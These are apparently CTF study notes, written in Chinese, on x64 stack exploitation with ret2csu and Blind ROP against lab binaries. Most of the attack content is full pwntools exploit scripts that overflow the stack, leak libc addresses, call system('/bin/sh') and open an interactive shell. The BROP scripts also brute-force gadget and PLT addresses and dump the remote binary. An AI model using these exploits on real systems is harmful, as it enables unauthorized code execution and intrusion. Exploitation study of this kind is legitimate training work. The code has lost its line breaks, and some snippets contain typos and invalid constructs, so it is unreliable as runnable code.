ret2csu
x86 与 x64 的区别:
x86 都是保存在栈上面的, 而 x64 中的前六个参数依次保存在 RDI, RSI, RDX, RCX, R8 和 R9 中,如果还有更多的参数的话才会保存在栈上
详细的例子去看蒸米ROP x64篇
ret2csu
x64 下面有一些万能的 gadget:objdump -d ./level5 显示特定的汇编(-D 显示全部的)
观察一下 _libc_csu_init 一般来说,只要是调用了 libc.so 就会有这个函数来对 libc.so 进行初始化

这里面有一些对寄存器操作的,需要注意的是 AT&T 与 8086 汇编语法有些区别
这些前面带百分号的极有可能是 AT&T 汇编,它的 mov 源操作数与目的操作数跟 8086 是反着的
gadgets24005f0: 4c 89 fa mov %r15,%rdx4005f3: 4c 89 f6 mov %r14,%rsi4005f6: 44 89 ef mov %r13d,%edi4005f9: 41 ff 14 dc callq *(%r12,%rbx,8)....gadgets1400606: 48 8b 5c 24 08 mov 0x8(%rsp),%rbx40060b: 48 8b 6c 24 10 mov 0x10(%rsp),%rbp400610: 4c 8b 64 24 18 mov 0x18(%rsp),%r12400615: 4c 8b 6c 24 20 mov 0x20(%rsp),%r1340061a: 4c 8b 74 24 28 mov 0x28(%rsp),%r1440061f: 4c 8b 7c 24 30 mov 0x30(%rsp),%r15400624: 48 83 c4 38 add $0x38,%rsp400628: c3 retq
通过构造栈上的数据,调用 1 然后返回到 2 就可以控制寄存器

临时参考:https://blog.csdn.net/weixin_43467772/article/details/89131527
首先通过溢出把一堆数据写在栈上,此时返回地址覆盖为 gadgets1,调用 gaegets1 的时候 rsp+8 通过 gadgets1 把栈上的数据写在寄存器里面,同时把 rsp 再加一下让程序返回到 gadgets2
gadgets2 会把之前寄存器上存的数据放在需要的寄存器上(参数存放顺序:RDI, RSI, RDX, RCX, R8 和 R9)
把 write 函数需要的参数部署好之后通过 call (r12+rbx*8) 之前把 rbx 设置成了 0,当程序执行完 write 函数以后会自己回到这里(因为是 call,正常调用)所以不用管返回地址,继续执行,此时还会执行 gadgets1 上面那张图那样子,gadgets1 里面有一段 add rsp,38h 所以还要填充 38h 个字节把这一段填充掉,使得程序返回的时候是我们写在栈上的 main_addr
write 函数原型是 write(1,address,len) ,1表示标准输出流 ,address 是 write 函数要输出信息的地址 ,而 len 表示输出长度
第一发payload
第二发payload
第三发payload
剩下的同理,只是 read 从标准输入流(0,即控制台)读取 0x100 放到 .bss 段里面
#!python#!/usr/bin/env pythonfrom pwn import *from LibcSearcher import LibcSearcherelf = ELF('level5')p = process('./level5')got_write = elf.got['write']got_read = elf.got['read']main_addr = 0x400564bss_addr=0x601028payload1 = "\x00"*136 + p64(0x400606) + p64(0) +p64(0) + p64(1) + p64(got_write) + p64(1) + p64(got_write) + p64(8) + p64(0x4005F0) + "\x00"*56 + p64(main_addr)p.recvuntil("Hello, World\n")print "\n#############sending payload1#############\n"p.send(payload1)sleep(1)write_addr = u64(p.recv(8))print "write_addr: " + hex(write_addr)libc=LibcSearcher('write',write_addr)libc_base=write_addr-libc.dump('write')sys_addr=libc_base+libc.dump('system')print "system_addr: " + hex(sys_addr)p.recvuntil("Hello, World\n")payload2 = "\x00"*136 + p64(0x400606) + p64(0) + p64(0) + p64(1) + p64(got_read) + p64(0) + p64(bss_addr) + p64(16) + p64(0x4005F0) + "\x00"*56 + p64(main_addr)print "\n#############sending payload2#############\n"p.send(payload2)sleep(1)p.send(p64(sys_addr))p.send("/bin/sh\0")sleep(1)p.recvuntil("Hello, World\n")payload3 = "\x00"*136 + p64(0x400606) + p64(0) +p64(0) + p64(1) + p64(bss_addr) + p64(bss_addr+8) + p64(0) + p64(0) + p64(0x4005F0) + "\x00"*56 + p64(main_addr)print "\n#############sending payload3#############\n"sleep(1)p.send(payload3)p.interactive()
给出的 exp
#!python#!/usr/bin/env pythonfrom pwn import *#context.log_level="debug"elf = ELF('level5')libc = ELF('libc.so.6')p = process('./level5')got_write = elf.got['write']print "got_write: " + hex(got_write)got_read = elf.got['read']print "got_read: " + hex(got_read)main = 0x400564off_system_addr = libc.symbols['write'] - libc.symbols['system']print "off_system_addr: " + hex(off_system_addr)#rdi= edi = r13, rsi = r14, rdx = r15#write(rdi=1, rsi=write.got, rdx=4)payload1 = "\x00"*136payload1 += p64(0x400606) + p64(0) +p64(0) + p64(1) + p64(got_write) + p64(1) + p64(got_write) + p64(8) # pop_junk_rbx_rbp_r12_r13_r14_r15_retpayload1 += p64(0x4005F0) # mov rdx, r15; mov rsi, r14; mov edi, r13d; call qword ptr [r12+rbx*8]payload1 += "\x00"*56payload1 += p64(main)p.recvuntil("Hello, World\n")print "\n#############sending payload1#############\n"p.send(payload1)sleep(1)write_addr = u64(p.recv(8))print "write_addr: " + hex(write_addr)system_addr = write_addr - off_system_addrprint "system_addr: " + hex(system_addr)bss_addr=0x601028p.recvuntil("Hello, World\n")#rdi= edi = r13, rsi = r14, rdx = r15#read(rdi=0, rsi=bss_addr, rdx=16)payload2 = "\x00"*136payload2 += p64(0x400606) + p64(0) + p64(0) + p64(1) + p64(got_read) + p64(0) + p64(bss_addr) + p64(16) # pop_junk_rbx_rbp_r12_r13_r14_r15_retpayload2 += p64(0x4005F0) # mov rdx, r15; mov rsi, r14; mov edi, r13d; call qword ptr [r12+rbx*8]payload2 += "\x00"*56payload2 += p64(main)print "\n#############sending payload2#############\n"p.send(payload2)sleep(1)p.send(p64(system_addr))p.send("/bin/sh\0")sleep(1)p.recvuntil("Hello, World\n")#rdi= edi = r13, rsi = r14, rdx = r15#system(rdi = bss_addr+8 = "/bin/sh")payload3 = "\x00"*136payload3 += p64(0x400606) + p64(0) +p64(0) + p64(1) + p64(bss_addr) + p64(bss_addr+8) + p64(0) + p64(0) # pop_junk_rbx_rbp_r12_r13_r14_r15_retpayload3 += p64(0x4005F0) # mov rdx, r15; mov rsi, r14; mov edi, r13d; call qword ptr [r12+rbx*8]payload3 += "\x00"*56payload3 += p64(main)print "\n#############sending payload3#############\n"sleep(1)p.send(payload3)p.interactive()
ret2reg
wiki 没有给出例题,等以后补上
BROP
BROP是在没有给出题目的情况下,只能通过尝试来确定
攻击条件
程序必须存在溢出漏洞,以便攻击者可以控制程序流程
进程崩溃以后可以重启,而且重启之后的地址与先前的地址一样
基本思路
首先通过枚举,判断栈溢出长度,然后通过 Stack Reading 获取栈上的数据来获取canary以及ebp和返回地址
再找到足够多的 gadget 来控制输出函数的参数并进行调用,利用输出函数来dump出程序来找到更多的gadget
栈溢出
从 1 开始暴力枚举,直到程序崩溃
Stack Reading
通过按照字节爆破比枚举数值更快
每个字节最多有256种可能,所以在32位的情况下,我们最多需要爆破1024次,64位最多爆破2048次
找到canary的值
Blind ROP
调用write函数最方便的方法是系统调用号,然后syscall,然而syscall几乎不可能
所以可以使用 libc_csu_init 结尾的一段 gadgets 来实现,同时可以使用 plt 来获取write地址,在write的参数里面,rdx是用来限制输出长度的,一般不会为0,但是保险起见,可以同时设置一下,但是几乎没有 pop rdx 这样的指令
可以通过 strcmp 来实现,在执行 strcmp 的时候,rdx会被设置为字符串的长度,所以只要找到 strcmp 就可以实现控制rdx
接下来要做的就是:
1、找gadgets
2、找 plt 表,比如 write、strcmp
找gadget
为了能够找到 gadget,可以分为两步:1、stop gadget,当执行这一段代码时,程序陷入循环,使攻击者一直保持连接状态,其根本目的在于告诉攻击者,其所测试的地址是一段gadget


2、识别gadget,这里为了方便介绍,定义栈上的三种地址:
- Probe
探针,也就是我们想要探测的代码地址。一般来说,都是64位程序,可以直接从0x400000尝试,如果不成功,有可能程序开启了PIE保护,再不济,就可能是程序是32位了。。这里我还没有特别想明白,怎么可以快速确定远程的位数。
- Stop
不会使得程序崩溃的stop gadget的地址。
- Trap
可以导致程序崩溃的地址,直接写 p64(0) 就可以
通过不同顺序构造一串 payload 就可以达到找到识别正在执行的指令的效果
比如:probe + trap + stop + trap + trap… 可以找到一个 pop xxx;ret 这样的
probe + trap + trap + trap + trap + trap + trap + stop + trap + trap… 这样的就可以找到:
pop xxx; pop xxx; pop xxx; pop xxx; pop xxx; pop xxx; ret
ps. 在每个布局后面都放上 trap 是为了保证崩溃 probe 返回如果不是 stop 能够立即崩溃
当然,我们还是很难确定它弹的哪一个寄存器,但是,一下子连续弹 6 次的很大可能性就是 brop_gadgets
这里说的 brop_gadgets 就是上面 ret2csu 的那个
同时找到的哪一个可能是一个 stop_gadgets,可以把后面原本的 stop_gadgets 改一下,如果程序没崩溃那就是又找了一个 stop_gadgets
找某些 plt
找到了 gadgets 以后,只需要根据功能,再去遍历地址,找到能够实现这个功能的地址就找到了这个函数的 plt
比如:payload = ‘A’*72 +p64(pop_rdi_ret)+p64(0x400000)+p64(addr)+p64(stop_gadget)
如果能过把 0x400000 的内容给输出来就可以找到 put@plt 了
HCTF 出题人失踪了
from pwn import *i=1while 1:try:p=remote("127.0.0.1",9999)p.recvuntil("WelCome my friend,Do you know password?\n")p.send('a'*i)data=p.recv()p.close()if not data.startwith('No password'):return i-1else:return i+1execpt EOFEror:p.close()return i-1size=getsize()print "size is [%s]"%size
用脚本跑出来是 72

再找一个能让程序不崩溃的地址(stop_gadgets):
from pwn import *def getStopGadgets(length):addr = 0x400000while 1:try:sh = remote('127.0.0.1',9999)payload = 'a'*length +p64(addr)sh.recvuntil("password?\n")sh.sendline(payload)output = sh.recvuntil("password?\n")sh.close()print("one stop addr: 0x%x" % (addr))if not output.startswith('WelCome'):sh.close()addr+=1else:return addrexcept Exception:addr+=1sh.close()stop_gadgets = getStopGadgets(72)
感觉只有返回到 main 或者 _start 才能用

再去找 BROP_gadgets
from pwn import *def get_brop_gadget(length, stop_gadget, addr):try:sh = remote('127.0.0.1', 9999)sh.recvuntil('password?\n')payload = 'a' * length + p64(addr) + p64(0) * 6 + p64(stop_gadget) + p64(0) * 10sh.sendline(payload)content = sh.recv()sh.close()print content# stop gadget returns memoryif not content.startswith('WelCome'):return Falsereturn Trueexcept Exception:sh.close()return Falsedef check_brop_gadget(length, addr):try:sh = remote('127.0.0.1', 9999)sh.recvuntil('password?\n')payload = 'a' * length + p64(addr) + 'a' * 8 * 10sh.sendline(payload)content = sh.recv()sh.close()return Falseexcept Exception:sh.close()return Truelength = 72stop_gadget = 0x4005c0addr = 0x400000while 1:print hex(addr)if get_brop_gadget(length, stop_gadget, addr):print 'possible brop gadget: 0x%x' % addrif check_brop_gadget(length, addr):print 'success brop gadget: 0x%x' % addrbreakaddr += 1
拿到 brop_gadgets

根据之前的:我们可以发现,从找到的 brop_gadget 其中 pop r15;ret 对应的字节码为41 5f c3。后两字节码 5f c3 对应的汇编即为 pop rdi;ret

所以,pop rdi;ret 的地址就是 brop_gadget + 9
通过这个 gadget 把 put 的 plt 给打出来
from pwn import *##length = getbufferflow_length()length = 72##get_stop_addr(length)stop_gadget = 0x4005c0addr = 0x400740def get_puts_addr(length, rdi_ret, stop_gadget):addr = 0x400000while 1:print hex(addr)sh = remote('127.0.0.1', 9999)sh.recvuntil('password?\n')payload = 'A' * length + p64(rdi_ret) + p64(0x400000) + p64(addr) + p64(stop_gadget)sh.sendline(payload)try:content = sh.recv()if content.startswith('\x7fELF'):print 'find puts@plt addr: 0x%x' % addrreturn addrsh.close()addr += 1except Exception:sh.close()addr += 1brop_gadget=0x4007bardi_ret=brop_gadget+9get_puts_addr(72,rdi_ret,stop_gadget)

拿到了 put 的地址,就可以通过 很多次的 put 把想要的内容给 dump 出来
把程序 DUMP 下来:
from pwn import *def dump(length, rdi_ret, puts_plt, leak_addr, stop_gadget):sh = remote('127.0.0.1', 9999)payload = 'a' * length + p64(rdi_ret) + p64(leak_addr) + p64(puts_plt) + p64(stop_gadget)sh.recvuntil('password?\n')sh.sendline(payload)try:data = sh.recv()sh.close()try:data = data[:data.index("\nWelCome")]except Exception:data = dataif data == "":data = '\x00'return dataexcept Exception:sh.close()return None##length = getbufferflow_length()length = 72##stop_gadget = get_stop_addr(length)stop_gadget = 0x4005c0##brop_gadget = find_brop_gadget(length,stop_gadget)brop_gadget = 0x4007bardi_ret = brop_gadget + 9##puts_plt = get_puts_plt(length, rdi_ret, stop_gadget)puts_plt = 0x400555addr = 0x400000result = ""while addr < 0x401000:print hex(addr)data = dump(length, rdi_ret, puts_plt, addr, stop_gadget)if data is None:continueelse:result += dataaddr += len(data)with open('code', 'wb') as f:f.write(result)
把 dump 下来的文件用 IDA 的二进制模式打开

然后把基址改成 0x400000:
编辑 -> 段 -> 重新设置基址

设置为 0x400000

在 0x400555 处,摁下 c 识别成汇编格式,可以看到 jmp 的地址是:601018h

这样就得到了 put@got 地址,知道了这个地址,再用 libcsearch 去进行 ret2libc 就可以了
##length = getbufferflow_length()length = 72##stop_gadget = get_stop_addr(length)stop_gadget = 0x4006b6##brop_gadget = find_brop_gadget(length,stop_gadget)brop_gadget = 0x4007bardi_ret = brop_gadget + 9##puts_plt = get_puts_addr(length, rdi_ret, stop_gadget)puts_plt = 0x400560##leakfunction(length, rdi_ret, puts_plt, stop_gadget)puts_got = 0x601018sh = remote('127.0.0.1', 9999)sh.recvuntil('password?\n')payload = 'a' * length + p64(rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(stop_gadget)sh.sendline(payload)data = sh.recvuntil('\nWelCome', drop=True)puts_addr = u64(data.ljust(8, '\x00'))libc = LibcSearcher('puts', puts_addr)libc_base = puts_addr - libc.dump('puts')system_addr = libc_base + libc.dump('system')binsh_addr = libc_base + libc.dump('str_bin_sh')payload = 'a' * length + p64(rdi_ret) + p64(binsh_addr) + p64(system_addr) + p64(stop_gadget)sh.sendline(payload)sh.interactive()
